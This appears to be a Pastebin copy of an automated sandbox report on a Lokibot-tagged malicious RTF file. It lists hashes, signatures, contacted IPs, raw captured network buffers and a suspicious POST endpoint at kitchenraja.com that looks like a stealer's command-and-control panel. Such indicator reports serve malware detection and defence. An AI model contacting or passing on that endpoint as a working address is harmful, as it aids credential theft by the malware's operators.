API tools faq
paste
paladin316

Docs_b9c011303fce33699fc868354d5a8e61_doc_2019-07-25_08_30.txt

paladin316
Jul 25th, 2019
2,694
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 246.95 KB | None | 0 0
raw download clone embed print report
  1.  
  2. * MalFamily: "Lokibot"
  3.  
  4. * MalScore: 10.0
  5.  
  6. * File Name: "Docs_b9c011303fce33699fc868354d5a8e61.doc"
  7. * File Size: 8425
  8. * File Type: "Rich Text Format data, version 1, unknown character set"
  9. * SHA256: "fc67c18043a4c4231eada3737b612f93e79007b7fc55922166b22f73e52742de"
  10. * MD5: "b9c011303fce33699fc868354d5a8e61"
  11. * SHA1: "f80b448b70bbbf36d5ae4c903071ab4876b93e1f"
  12. * SHA512: "e7b01c04a766b2a4761f558e86f8feb0fe109b886765a263250fadd881509277492fd7890dbaceffaacb042f34f7cd4c941fd6c76e7a11d918615c90234913f1"
  13. * CRC32: "6FC4F232"
  14. * SSDEEP: "96:pBnvc9Q5Fj1bSUlf2ZbeKJNNRUuk3OTAI7BK+Eb0:DvciZlSAeZjrPXFTAI0+EQ"
  15.  
  16. * Process Execution:
  17. "WINWORD.EXE"
  18.  
  19.  
  20. * Executed Commands:
  21.  
  22. * Signatures Detected:
  23.  
  24. "Description": "A process attempted to delay the analysis task.",
  25. "Details":
  26.  
  27. "Process": "WINWORD.EXE tried to sleep 296 seconds, actually delayed analysis time by 0 seconds"
  28.  
  29.  
  30.  
  31.  
  32. "Description": "Attempts to connect to a dead IP:Port (8 unique times)",
  33. "Details":
  34.  
  35. "IP": "52.109.20.1:443"
  36.  
  37.  
  38. "IP": "92.123.51.45:443"
  39.  
  40.  
  41. "IP": "65.52.98.231:443"
  42.  
  43.  
  44. "IP": "23.60.72.96:443"
  45.  
  46.  
  47. "IP": "72.21.91.29:80"
  48.  
  49.  
  50. "IP": "184.28.188.192:80"
  51.  
  52.  
  53. "IP": "52.109.2.18:443"
  54.  
  55.  
  56. "IP": "104.18.25.243:80"
  57.  
  58.  
  59.  
  60.  
  61. "Description": "At least one IP Address, Domain, or File Name was found in a crypto call",
  62. "Details":
  63.  
  64. "ioc": "rame.glox"
  65.  
  66.  
  67. "ioc": "ontent.inf"
  68.  
  69.  
  70. "ioc": "nline.xsl"
  71.  
  72.  
  73. "ioc": "harvardanglia2008officeonline.xsl"
  74.  
  75.  
  76. "ioc": "chevronaccent.glox"
  77.  
  78.  
  79. "ioc": "ieee2006officeonline.xsl"
  80.  
  81.  
  82. "ioc": "e.gu"
  83.  
  84.  
  85. "ioc": "ist.glox"
  86.  
  87.  
  88. "ioc": "chicago.xsl"
  89.  
  90.  
  91. "ioc": "rc.glox"
  92.  
  93.  
  94. "ioc": "architecture.glox"
  95.  
  96.  
  97. "ioc": "gb.xsl"
  98.  
  99.  
  100. "ioc": "ext.glox"
  101.  
  102.  
  103. "ioc": "iso690nmerical.xsl"
  104.  
  105.  
  106. "ioc": "ccent.glox"
  107.  
  108.  
  109. "ioc": "turabian.xsl"
  110.  
  111.  
  112. "ioc": "gostname.xsl"
  113.  
  114.  
  115. "ioc": "rocess.glox"
  116.  
  117.  
  118. "ioc": "iso690.xsl"
  119.  
  120.  
  121. "ioc": "set.dotx"
  122.  
  123.  
  124. "ioc": "gosttitle.xsl"
  125.  
  126.  
  127. "ioc": "rings.glox"
  128.  
  129.  
  130. "ioc": "rid.glox"
  131.  
  132.  
  133. "ioc": "..3b"
  134.  
  135.  
  136. "ioc": "quations.dotx"
  137.  
  138.  
  139. "ioc": "mlaseventheditionofficeonline.xsl"
  140.  
  141.  
  142. "ioc": "sist02.xsl"
  143.  
  144.  
  145. "ioc": "pictureorgchart.glox"
  146.  
  147.  
  148. "ioc": "adial.glox"
  149.  
  150.  
  151. "ioc": "asis.thmx"
  152.  
  153.  
  154. "ioc": "content.inf"
  155.  
  156.  
  157. "ioc": "anded.thmx"
  158.  
  159.  
  160. "ioc": "ividend.thmx"
  161.  
  162.  
  163. "ioc": "rame.thmx"
  164.  
  165.  
  166. "ioc": "iew.thmx"
  167.  
  168.  
  169. "ioc": "uotable.thmx"
  170.  
  171.  
  172. "ioc": "adge.thmx"
  173.  
  174.  
  175. "ioc": "rop.thmx"
  176.  
  177.  
  178. "ioc": "eadlines.thmx"
  179.  
  180.  
  181. "ioc": "arallax.thmx"
  182.  
  183.  
  184. "ioc": "avon.thmx"
  185.  
  186.  
  187. "ioc": "late.thmx"
  188.  
  189.  
  190. "ioc": "eathered.thmx"
  191.  
  192.  
  193. "ioc": "ype.thmx"
  194.  
  195.  
  196. "ioc": "amask.thmx"
  197.  
  198.  
  199. "ioc": "ircuit.thmx"
  200.  
  201.  
  202. "ioc": "g.n9"
  203.  
  204.  
  205. "ioc": "roplet.thmx"
  206.  
  207.  
  208. "ioc": "esh.thmx"
  209.  
  210.  
  211.  
  212.  
  213. "Description": "HTTP traffic contains suspicious features which may be indicative of malware related traffic",
  214. "Details":
  215.  
  216. "post_no_referer": "HTTP traffic contains a POST request with no referer header"
  217.  
  218.  
  219. "http_version_old": "HTTP traffic uses version 1.0"
  220.  
  221.  
  222. "suspicious_request": "http://kitchenraja.com/loggers/Panel/five/fre.php"
  223.  
  224.  
  225.  
  226.  
  227. "Description": "Performs some HTTP requests",
  228. "Details":
  229.  
  230. "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D"
  231.  
  232.  
  233. "url": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D"
  234.  
  235.  
  236. "url": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D"
  237.  
  238.  
  239. "url": "http://ocsp.comodoca.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEQDwHUvue3yjezwFZqwFlyRY"
  240.  
  241.  
  242. "url": "http://kitchenraja.com/loggers/Panel/five/fre.php"
  243.  
  244.  
  245.  
  246.  
  247. "Description": "A document file initiated network communications indicative of a potential exploit or payload download",
  248. "Details":
  249.  
  250. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00~\\x01\\x00\\x00z\\x03\\x019_\\xe24\\x9e\\x06\\x8e\\xae\\x87\\xd086j\\x90=\\x02\\x9d\\xae\\xee\\x12\\xa6\\x0ci:\\x9f\"\\xda\\xc9w\\xf2u\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x009\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x1e\\x00\\x00\\x1broaming.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  251.  
  252.  
  253. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04*\\xff\\xe8\\x86\\x95\\xa4d\\x9a#0c\\x9f\\xad\\xa0x\\x08~b\\x8d!\\x02\rb\\xfc\\xd1\\xa9%\\x1f\\xc0\\xa1\\x1d\\xdf\\xbd^\\xcb&\\x15\\xe8y9wbg\\xb1n\\x9c\\xc5\\xf8\\x8a\\xb4\\xf8\\x1ewv\\xc5\\xa7\\xbe\\xf7j\\xc8\\x13\\xea\\x16^\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1e\\x99\\xcb\\xc6~\\xb5\\xdc9\\xf6h.\\x95r\\x96\\xf0\\xf6\\x8f2\\xbd\\x02\\xd2\\xe6\\xae\\x10z\n0\\xfa\\x8a\\xb4uy\\xf5\\x8ba88\\x1eu~\\x16\\x17\\x9bs\\xa0\\xd4\\xb3\\x96"
  254.  
  255.  
  256. "http_request": "winword.exe_WSASend_get /mfewtzbnmeswstajbgurdgmcgguabbtbl0v27rvz7lbduom%2fnyb45spuewqu5z1zmijhwmys%2bghunoz7oruetfaceai4elabvpzalrznpjlrv1u%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nuser-agent: microsoft-cryptoapi/6.1\r\nhost: ocsp.digicert.com\r\n\r\n"
  257.  
  258.  
  259. "http_request": "winword.exe_WSASend_get /mfqwujbqme4wtdajbgurdgmcgguabbrpc1vzt9qvn7bzy3iidtbhla4mkqquwiif1tycsck3fd7%2fhijo5ox%2f%2bn0ce3saagyvv14%2fmepdgh0aaaaabk8%3d http/1.1\r\nconnection: keep-alive\r\naccept: */*\r\nif-modified-since: sat, 23 mar 2019 17:46:18 gmt\r\nif-none-match: \"dd54d75d468"
  260.  
  261.  
  262. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01pw\\xa4'\\xd8(\\xbd\\xdf\\x9ep\\x97\\xad\\xfd\\x0bz\\xd1e\\x1eh\\xb2\\xfa|s\\x99qg\\xa1\\x06\\xb7\\xb6|\\x93\\xf6y\\xcd\\xd7\\x9dp\\xecm,?\\xf9\\xf6\\xbc\\x18v\\x98r\\x03\\x84\\xde\\x7f6\\xc1\\xec\\x1b\\x80oxf\\x13\\xe8\\x1e\\xeaj\\x08\\x13h\\x1f\\xa8\\xaf\\xae\\xf3\\xbd\\xb9\\x12\\x0cr\\x05\\x92%9u\\xeb\\xb8\\xd0m\\x89de\\x82#t\\x89\\xaa\\xe7\\x83\\x1d\\xb0\\xae\\x1cm\\x7f\\xed\\xe7\\x0b\\x1cl3\\x0f\\x12\\xf1\\xfd\\xf4\\xd2\\xd5:\\xf1\\xee\\xe5\\x9d;_\\x7fu\rf\\xba\\xd5h\\xeb)\\x12\n\\x84a\n\\xa3\\xad\\x1e\\x9e\\xadl\\xcf\\xea\\x91rxm#j\\x02\\x9ecqk\\xd7\\xd1%q8pv\\x803\\x1e\\x03\\x91\">$\\xefo\\xfa\\xcd\\x8e\\xfd>#5\\xc2j\\xb9\\xab\\xb7\\x93c\\xf7\\x87\\xa9k\\x1c\\x9ci\\x04\"=df\\xa8\\xeb\\xd1>\\x01\\xb2\\xce\\xf3\\x18\\xaak\\xd9\\x84\\xf5!\\x14\\xc6&'l\\x07o&'\\xd95\\xfb\\x91\\xden\\x8b\\xca\\xe0u1\\xab=\\xd0\\xaf9\\xc4\\x15\\x18js\\xbc\\x0e\\xb4s\\x06"
  263.  
  264.  
  265. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x02 \\x11\\xa8p\\x9f\\xea\\xba\\xac!\\x84\\xd5\\xf4\\x1c\\xbbx\\xc1\\xa4\\xdc\\x19\ru\\x90c\\xb5\\xd8\\xab;\\xc2#\\xf2\\xabm\\x8di\\xab\\xa9\\xbf\\xc9@\\x18p\\x84\\xa5\\xea\\x97\\xa3\\x00sjx\\xe1k\\x12\\xa8\\xe4\\xbe\\xb5\\xed%\\xf5e\\xcd\\xe0\\xaa\\x1c\\x9be*3\\xddx\\x7f\\xbd\\xbd\\xa6\\xe0\\x07z4\\xc1\\x84\\x9b\\x9e\\xd9\\x12u9\\x00\\xb5\\xaba\\xd4\\xd4\\x19\\x8bu\\xf7w\\xbf\\x1el(\\x0f+)g\\xee\\x13c\\x0c\\xe4ss\\x8f\\x11\\x88\t\\x93\\xd0\\xe5y\\x12\\xab\\x1a%_\\xe4\\xedu&'\\xbe\\x03\\x1a\\x93\\xaf\\xc8\\xfc\\x8e\\xaanx8\\xd3\\xc5\\x1e1\\xa6f\\xa5\\xe7\\xcd\\x14\\x84gq\\x9f\\x9d\\xdc0\\xebv\\xdb\n\\xbd\\x08 \\xbdhe\\xfc\\xb9y\\xf1\\xc3^m\\xfa\\xff\\xc48\\xe4\\xd4%c3\\xdbd\\x99\\x84\\xd3\\xc7\\xe5\\xc8c1vr\\x08\\xc09\\x0b'\\xb5\\xcdy@-\\xd5n%_\\xd7v\\xc0/?\\xa6hiv\\xdb\\x18\n\\xebf\\xd0j\\x99\\xf2\\xc0\\xd5'\\x85\rlp\\x90o\\x8f\\x17\\x10\\x85n"
  266.  
  267.  
  268. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00z\\x01\\x00\\x00v\\x03\\x019_\\xe8\\x1e\\xaek\\xc96\\xecl\\xeck2\\xb1\\xd8\\x96\\xf7\\x9f\\xe7\\x97-=\\xd8\\x94\\xab\\xafb\\x12\\xbc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x005\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1c\\x00\\x1a\\x00\\x00\\x17odc.officeapps.live.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  269.  
  270.  
  271. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x044\\xb7\\x82\\x9b\\xa5\\xbc\\x87\\x14\\x05`\\x1a\\x8b\\x05\\xc3ocz\\x08\\x1c\\x8f\\xdf\\x88\\x8e\\xaa\\xbdz\\x960,w\\xf2\\xd4\\xc7\\xa7\rx\\xa52\\x8a\\xd6\\xa9\\xc7'a\\x8b\\x88jl\\xa4=\\x8a>=r\\x9a\\xc0vz\\x86\\xc4\ri\\x9b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbc\\x15\\x0cy\\xbe\\xe9\\xda=?zqr!\\xad\\xab8\\xefu\\x9c\\xa2\\xb8\\xfd\\xd6\\xd9\\xd8\\xbc\\xdc\\x1e\\xbd1\\xbb\\xc6\\xa78\\xff\\xcb\\x97\\xfe\\xfe\\xfdm\\xf4x\\xbc\\xe8\\xfc\\xd3"
  272.  
  273.  
  274. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\xbaf\\x80\\xdb\\xdf\\xc4\\x13\\x7f/1~9\\xbajx\\xe6\\x8ce\\xb94\\xd1\\xbd\\xc3j\\x9d=\\xa4\\xab\\x8b\"\\x1c<\\x91\\xad\\x9d\\x9a\\x81g\\xd2\t\\xddej\\x9f\\x02\\xa8\\x9e\\xcd|e\\xb7\\x8b\\x04\\xd8\\x18\\x18\\xc9\\x91x\\xf8\\x053\\x15\\x12\\xabr\\xf5\\x12\\xcd\\xa6\\x87\\x16@\\xc1\\xa42z|x\\xa8\\x00c\\xef\\xa2\\x83a\\x0e\\xc3`\\xf9|\\xb1z\\xb9\\x1e\\xc2xk\\xc6o)^\\xe1\\xaf\\x7f\\xa0\\xcf\\xa4g*?|\\xe5'\\xe1\\x8a=\\x94\\xfa\"#\\xc8\\x939\\xe34\\xe9\\x0bw\\x0f7r%$\\x919\\xff\\xac\\xa8\\x92\\xa8\\x8f\\xe0n\\xe6\\xa5\\x15)\\xe9j\\x88\\xf0qr\\x17u\\xeb%\\x80d\\x15a\\x8d\\x9c\\xf8\\x9a\\xdd\n\\x94\\xdc\\xee\\x1c\\x91\\x02\\xf0\\xdf\\xf3j\\xf9-\\x01yy3\\xaef\\x11\\xea\\x9fk2\\x19\\x1d?\\x0b4uh\\x94\\xb6\\xf9\\xeeh&\\xdd\\x12k\\x8bw\t\\xfb_\\xf5\\xf5u\\xb5b\\xdb\\x1b\\x06\\xc6\\x95\\xb6\\xa4\\x98+\\xf7w>\\xda\\xb9\\x88\\xaa\\xc1\\xcc\\xcd'\\xc4\\x83\\x01\\xe7\\x0b\\xda\\x8d\\x12"
  275.  
  276.  
  277. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x01\\x00\\x00y\\x03\\x019_\\xe9\\xdd\\x06\\xa92\\xeb\\x15\\xde\\xab\\xads`\\xd0\\x1d\\x16\\x81\\xbc\\x16\\xfc\\xf6\r\\x91\\xadq\\xb6\\x01\\xe8g\\xf3\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x008\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x1f\\x00\\x1d\\x00\\x00\\x1atemplateservice.office.com\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  278.  
  279.  
  280. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xba\\x0f\\x1b\\xdd\\xe6\\x04\\xce\\xf6\\x81\\xa4\\xd7s\\xc7\\xc5\\xca\\x827\\x86o\\xc0/\\xf9\\xa1j\t2\\xdc\\xb2foi\\x93\n'@\\xce\\xe2\\xf2\\x91el\\xed\\x8a\\xe75\\x12^`fz\\xca\\xf1\\x8e\\x8bsd\\x95\\x97\\xd0\\xb3\\xe8\\x12b\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000(mc\\xc62\\x93\\xd5\\x06f\\xc2\"ve'f\\x18\\xb8\\x86p\\x19\\x82\\xd0\\x1b\\x03\n\\x0c\\xcdqc\\x95<y\\xf4\\xe4\\x86\\xcef\\xce\\x14\\xe84k6o\\xfe\\xce\\xfaz"
  281.  
  282.  
  283. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x86>\\xd0\\xcck\\xd0h\\xa1\\xa8na\\x0f\\x86\\xeb\\xcb\\xcb!\\xd7\\x94\\xc1\\x82\\x00\\xf8\\x98x\\x9e\\x93\\x8ab\\xa5%\\xfc\t\\xb8\\xa0c)\\xf5u\\xad\\xfc\\xf5k\\x89\\xd1\\xaazg`\\x84\\x9c,\\x16\\xa6\\x81\\xb3\\x80\\xdb`2\\xd30w\\x82ckc\\x94\\xf9\\xfc\\xaf\\x83\\xfb\\xfa\\x8f\\xf9v\\xb9\\x04\\x8as\\x95\\x90?\\xec`\\xb2|\\xd5\\xbe\\xa7r\\xb3=\\xb2\\xb0\\x93\\x88\\xe4\\x97q\\x00\\xd5\\xaafkp\\xa0\\xb5\\xa0\\xfe\"kams\\xcf8\\x05\\xcf\\xb0 \\x02\\xe0\\xe4#\\xb7\\xad\\xca\\x86<\\xb4\\x94\\xc2\\x8d\\x8d\\x85bt\\x16a\t\\xb0\\x0cx\\xdf\\xc6&t\\xc9c\\x88\\xad\\x9e\\x9a\\x85\\xa8\\xcb<\\xe0\\x05\\xb3o\\xf2x\\xb5l\\xa6\\x94\\x87\\xe0\\x0ek\tq?\\x06\\x07\\xd5\n\\xed\\^\\xd8=\\x9c\\x8fa\\x05 1\\xcfm \\x0b\\xfc\\xe5\\x94fi\n5\\xca\\xb3\\x87^\\xd3\\x87b?\\xc6\\xd8\n\\xaa\\x14\\x9a9\\xa4\\xa1\\xe7\\\\xb3\\x16\\x12\"\\xabt\\xa7g<\\xf8\\xcd\\xaf\\x07\\x07_\\xbakp\\xf9%\\x00\\x99\\xe3\\xd1"
  284.  
  285.  
  286. "http_request": "winword.exe_WSASend_^\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeaj\\xdc\\xe9\\xd7,\\xa7r\\xe6cc1r\\xec\\xb6\\xa1o\\xc83\\x87%\\x83\\xf4\\x1d\\xe4\\x04\\xcf\\xb3\\xbc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  287.  
  288.  
  289. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea-\\x0e\\x19\\xdd\\xc6c\\xcc\\xe1v\\xbb\\xae\\x1c\\xd5\\x8f$\\xc9\\x08\\x95\\x9cg\\xf1*o\\xa5\\xcc$\\x85z\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  290.  
  291.  
  292. "http_request": "winword.exe_WSASend_^\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xc6\\xbdy\\x04\\x95\\x1b\\xb0&\\x97\\xb1|\\xc5\\x8b\\xec2\\xba\\xd3o\\xc3\\x91\\x97\\xb2b\nip\\x0c\"\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  293.  
  294.  
  295. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\x83\\xbb\\x94fx\\xef\\xa1|\\x95a\\xfb\\xb5y\\xd6\\xe0\\xe9\\x13\\xe5\\xcb\\xbff\\xe4a\\x95a3\\xb1c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  296.  
  297.  
  298. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xed\\xd9\\xea7i\\xb5\\xaf\\xc8\\xdd8'*\\xfa\\x80q3cyp\\x96lg\\xd8pc\\xc9s\\x8e\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  299.  
  300.  
  301. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeas\\xa5\\x03\\x8e\\xe77i\\xab\\x08:oh\\xacf:\\xc3\\x133\\xa0\\xf4<\\xbf)\\xaao\\xee\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  302.  
  303.  
  304. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xb45;\\x94dd0\\xa5>q7\\xfey\\xeb\\xd2\\xc9?\\x1f&\\x99\\xf8y\\xc0q\r1\\x90\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  305.  
  306.  
  307. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeao2\\xe0n\\x19\\xe5\\xa4\\xb1\\xee\\x81\\xadp\\xf0\\x16q\\xb7\\x03(\\xe0\\xa9 c\\xbb\\xf4\\xd1\\xec\\xe6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  308.  
  309.  
  310. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\xbd\\xb5\\x04:\\xda\\x80\\xc8?\\xdf/\\x1ew\\xf1\\xfbn\\xbe\\xfd\\xc30>\\x97*o\\xc9\t\\xab\\xe0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  311.  
  312.  
  313. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\x88`$\\x85\\x84\\xe7l\\x7f\\xfb\\xfa>*\\x990\\x14\\x9c\\xb2\\xb3\\xb8\\xeah\\x08j\\xf2v\\xc1\\xfe\\x81\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  314.  
  315.  
  316. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea;\\xd6vl\\xe0\\xe8\\xfe\\xba a\\xfd\\xd5\\xff\\xce\\x9f\\xff\\xa1j\\x03\\xf6\\xb1\\xa8b\\xa3\\x15u\\xa2\\xa0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  317.  
  318.  
  319. "http_request": "winword.exe_WSASend_^\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea\\x94\\xc4\\xb8\\x85\\xac\\xd2\\x19q\\xdb\\xf24\\xcer\\x99\\x8f\\xf0#cs)\r\\x18@\\xe8\\x85ef'\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  320.  
  321.  
  322. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xea_r\\x10\\xc5\\x1c\\xc7\\xfc\\x96z3\\xb8_~t\\x8eh4\\xd7\\xc0\\xed/\\xee\\\\xa6\\x8dg\\x94w\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  323.  
  324.  
